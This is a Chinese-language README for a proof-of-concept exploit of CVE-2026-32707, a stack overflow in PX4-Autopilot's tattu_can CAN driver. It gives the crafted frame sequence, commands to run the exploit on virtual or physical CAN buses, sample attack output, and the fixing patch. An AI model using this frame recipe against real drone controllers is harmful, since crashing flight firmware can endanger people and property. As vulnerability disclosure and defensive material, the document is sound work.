CVE-2026-32707 的概念验证漏洞利用程序,针对 PX4-Autopilot tattu_can 驱动程序中的栈缓冲区溢出漏洞,通过精心构造的 CAN 帧导致拒绝服务。
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
本仓库包含针对 CVE‑2026‑32707 的概念验证(PoC)漏洞利用,该漏洞是 PX4‑Autopilot 飞行控制器固件(版本 ≤ 1.17.0‑rc1)中 tattu_can 驱动程序的基于栈的缓冲区溢出。该漏洞位于多帧消息组装例程中:当在栈上重新组装 Tattu12SBatteryMessage 结构时,驱动程序执行无界 memcpy() 操作,而未检查累积偏移量是否超过缓冲区大小(48 字节)。能够向同一总线注入 CAN 帧的攻击者可触发溢出,导致栈损坏并随后使 PX4 进程崩溃(拒绝服务)。
sequenceDiagram
participant Attacker as 攻击者(CAN 节点)
participant CANbus as CAN 总线
participant PX4 as PX4 自动驾驶仪(tattu_can)
Attacker->>CANbus: 1. 起始帧(DLC=8,data[7]=0x80)
CANbus->>PX4: 收到传输开始
PX4->>PX4: tattu_message 缓冲区(48 字节)<br/>复制偏移量=5 字节
loop 溢出帧(7 次)
Attacker->>CANbus: 溢出帧(DLC=8,负载 7 字节)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: 最终溢出帧(DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → 栈溢出
PX4-->>PX4: 崩溃(段错误 / 硬故障)
Note over PX4: 拒绝服务
tattu_can 驱动程序的 PX4‑Autopilot 版本 ≤ 1.17.0‑rc13f04b7a)python-can 库CAP_NET_RAW)以发送原始 CAN 帧can0 或虚拟 vcan0)# 克隆仓库
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# 安装 python-can
pip3 install python-can
# (可选)创建用于测试的虚拟 CAN 接口
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# 通过虚拟 CAN 接口进行漏洞利用(用于模拟/测试)
sudo python3 exploit.py vcan0
# 通过物理 CAN 总线进行漏洞利用
sudo python3 exploit.py can0
0x80,这向驱动程序发出信号,开始组装新的 Tattu12SBatteryMessage,并将前 5 个字节复制到栈缓冲区中。memcpy(),写入超出缓冲区边界,破坏栈帧。[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.
tattu_can 驱动程序(tattu_can stop 或从构建中移除)。3f04b7a 中添加了边界检查):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
本概念验证仅供教育和安全测试目的使用。请仅在你拥有或获得明确测试许可的系统上使用。作者不对因使用本代码造成的任何滥用或损害负责。